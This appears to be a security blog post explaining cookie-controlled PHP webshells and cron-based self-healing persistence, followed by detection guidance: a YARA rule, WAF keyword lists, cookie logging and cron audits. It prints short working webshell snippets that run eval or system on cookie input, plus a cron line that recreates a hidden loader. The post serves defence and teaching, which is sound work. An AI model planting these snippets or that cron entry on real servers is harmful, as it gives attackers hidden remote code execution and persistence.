Your web server looks clean. No alerts, no anomalies in the access logs, nothing suspicious in your file system scan. But an attacker is sitting quietly inside it, waiting. All they need to send is the right HTTP cookie.

TL;DR

  • Attackers are deploying PHP webshells that are completely dormant without a specific secret cookie value
  • This bypasses many WAFs, log reviews, and static file scanners that don’t inspect cookie content
  • Microsoft identified three distinct variants — from simple cookie triggers to multi-layer obfuscation loaders
  • Persistence is maintained through cron-based self-healing: if the webshell is deleted, it recreates itself
  • Detection requires behavioral monitoring, not just static analysis

Why This Matters

Traditional webshells are relatively easy to spot. They execute commands, generate suspicious process trees, and leave traces in HTTP logs where URL parameters like ?cmd=whoami stand out immediately.

Cookie-controlled webshells flip this model. The malicious file sits idle on the server — looking like any other PHP script — until the attacker makes a carefully crafted HTTP request with a secret value hidden in a cookie. Without that cookie, the webshell does nothing. Logs look normal. File scanners find nothing.

This is exactly the kind of technique that burns incident responders and gives attackers long-term persistence in compromised hosting environments. In April 2026, Microsoft’s Defender Security Research Team published detailed findings on this tradecraft after observing it in real Linux hosting environment incidents.


The Basics: Why Cookies?

A standard PHP webshell might look like this:

<?php
// Classic, easily detected webshell
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>

This is trivially detected — WAFs flag ?cmd=, access logs show the parameter, and any competent scanner catches it.

Cookie-controlled webshells move the trigger to the $_COOKIE superglobal instead:

<?php
// Cookie-gated webshell — dormant without the right cookie
if (isset($_COOKIE['session_token']) && md5($_COOKIE['session_token']) === '5f4dcc3b5aa765d61d8327deb882cf99') {
// Only executes when the attacker sends Cookie: session_token=password
eval(base64_decode($_COOKIE['payload']));
}
?>

Why is this stealthier?

  • Cookie names look legitimatesession_token, auth, _uid blend in with real application cookies
  • WAFs historically focus on query strings and POST bodies, not cookie values
  • Access logs typically don’t record cookie contents — only the URL and status code
  • The file is inert during automated scans — it doesn’t execute dangerous functions unless triggered

Three Variants Microsoft Found in the Wild

Microsoft’s research documented three distinct implementation styles, each progressively more sophisticated.

The simplest form. A single cookie value acts as a boolean gate — if the cookie matches, the webshell executes attacker-controlled input or uploads files.

<?php
// Simplified version of the marker-trigger pattern
$key = 'x-custom-header'; // cookie name chosen to blend in
if (isset($_COOKIE[$key]) && $_COOKIE[$key] === 'ACTIVATE') {
$cmd = $_COOKIE['data'] ?? '';
if ($cmd) system(base64_decode($cmd));
}
?>

This is the lowest-sophistication variant but still bypasses most log-based detection.

Variant 2: Segmented Payload Reconstruction

More advanced. The attacker splits the actual payload across multiple cookies. The webshell reconstructs the payload from cookie fragments and writes a secondary PHP file to disk, then executes it.

<?php
// Illustrative — reconstructs payload from segmented cookies
$parts = [$_COOKIE['p1'] ?? '', $_COOKIE['p2'] ?? '', $_COOKIE['p3'] ?? ''];
$payload = implode('', $parts);
if (strlen($payload) > 64 && ctype_alnum(str_replace(['+','/','-','_','='], '', $payload))) {
// Writes decoded payload as a new PHP file
file_put_contents('/var/www/html/uploads/.cache.php', base64_decode($payload));
include '/var/www/html/uploads/.cache.php';
}
?>

This technique means the webshell itself contains no dangerous code — it’s just a file writer. The actual malicious payload only exists briefly in memory before execution.

Variant 3: Multi-Layer Obfuscation Loader

The most complex variant. Multiple layers of obfuscation, runtime checks (IP whitelisting, timestamp validation), and structured cookie parsing before anything executes. The webshell validates the attacker’s identity before granting access — preventing anyone who finds the cookie name from hijacking the shell.

This variant is designed to survive both automated detection and manual review by an analyst who opens the file.


Cron-Based Self-Healing Persistence

Finding and deleting the webshell isn’t enough to remediate the compromise. Microsoft’s research found attackers using cron-based self-healing: a scheduled task that periodically checks whether the webshell exists, and recreates it if it’s been removed.

The attack chain typically looks like this:

  1. Initial access: Valid credentials (stolen or brute-forced) or exploitation of a CMS vulnerability (WordPress plugin, outdated cPanel)
  2. Webshell deployment: Dropped via php-fpm, cPanel jailshell, or a file upload vulnerability
  3. Cron registration: A cronjob is added via the hosting control panel, running a shell routine that recreates the PHP loader
  4. Stealth maintenance: The webshell stays dormant; cron silently ensures it’s always there
Terminal window
# Example of a self-healing cron pattern observed in incidents
# Runs every 5 minutes, recreates loader if missing
*/5 * * * * php -r "if(!file_exists('/var/www/html/inc/.loader.php')){file_put_contents('/var/www/html/inc/.loader.php', base64_decode('BASE64_OF_WEBSHELL'));}"

The cron entry uses base64 encoding to avoid detection in crontab -l output, and the filename (.loader.php) uses a leading dot to avoid directory listings.

The result: even after incident responders delete the webshell, it’s back within minutes.


Red Team Perspective: Why This Tradecraft Works

From an offensive standpoint, cookie-controlled webshells solve several practical problems:

ProblemSolution
WAF inspects POST bodyMove payload to Cookie header
Access logs capture URL paramsCookies rarely logged by default
Static scanners flag system() callsGate execution behind a cookie check
Defender deletes the fileCron recreates it
Other attackers can hijack your shellHash/HMAC validation on cookie value

The cookie-gated approach also enables plausible deniability in the file itself — a PHP file that only reads a cookie and conditionally includes another file doesn’t look malicious to most reviewers.


Blue Team Perspective: Detection

1. Web Application Firewall — Inspect Cookies

Most WAF rules focus on query strings and POST bodies. Update your WAF configuration to inspect cookie values for:

  • Base64 patterns of unusual length
  • Common execution keywords (eval, system, passthru, exec)
  • Hash-length strings that could be authentication tokens for a shell
  • Segmented payloads across multiple cookies (unusually high cookie count per request)

2. Access Log Enhancement

By default, most web servers don’t log cookie contents. Add cookie logging to catch this blind spot:

# nginx — add $http_cookie to access log format
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'cookie="$http_cookie"';
# Apache — log specific cookies with CustomLog
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{Cookie}i\"" combined_with_cookies

Caution: cookie logging may capture session tokens — handle log files with appropriate access controls.

rule Cookie_Gated_PHP_Webshell {
meta:
description = "Detects PHP webshells that gate execution via $_COOKIE"
author = "Hive Security"
date = "2026-04-04"
severity = "high"
strings:
$cookie = "$_COOKIE" ascii
$eval = "eval(" ascii
$b64d = "base64_decode(" ascii
$exec1 = "system(" ascii
$exec2 = "shell_exec(" ascii
$exec3 = "passthru(" ascii
$exec4 = "proc_open(" ascii
$hash1 = "md5(" ascii
$hash2 = "sha1(" ascii
condition:
filesize < 100KB and
$cookie and
($eval or $b64d) and
(1 of ($exec*)) and
(1 of ($hash*))
}

4. Process Tree Monitoring

Cookie-controlled webshells, when triggered, still spawn child processes. Monitor for:

  • php-fpm or apache2 spawning sh, bash, python, or curl
  • Unusual echo | base64 -d > file.php patterns in web server process context
  • crontab modifications by the web server user (www-data, apache)
  • File creation events in web directories from non-deployment processes

Tools like Wazuh, Falco, or Microsoft Defender for Endpoint can alert on these behavioral patterns even when the webshell itself looks clean.

5. Cron Job Auditing

Check for suspicious cron entries across all users, especially the web server user:

Terminal window
# Audit all user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
echo "--- $user ---"
crontab -u "$user" -l 2>/dev/null
done
# Check system-wide cron directories
ls -la /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/crontabs/
# Look for base64 in cron entries
grep -r "base64" /var/spool/cron/ /etc/cron.d/ 2>/dev/null

What You Can Do Today

For hosting providers and sysadmins:

  1. Enable MFA on all hosting control panels (cPanel, Plesk, DirectAdmin) and SSH
  2. Configure web server logging to capture cookie headers (with access controls on log files)
  3. Deploy file integrity monitoring (FIM) on web directories — alert on new .php file creation
  4. Schedule weekly cron audits for all system and hosting users
  5. Restrict shell_exec, system, passthru via php.ini disable_functions where possible

For security teams:

  1. Update WAF rules to inspect cookie content for known webshell patterns
  2. Add the YARA rule above to your scanner pipeline
  3. Hunt for $_COOKIE combined with eval/base64_decode in existing web file scans
  4. Review process tree alerts for web server processes spawning shells

For incident responders:

  • Finding and deleting the webshell is not enough — always audit cron jobs as part of remediation
  • Look for the initial access vector: compromised credentials, vulnerable plugins, or unpatched CMS


Sources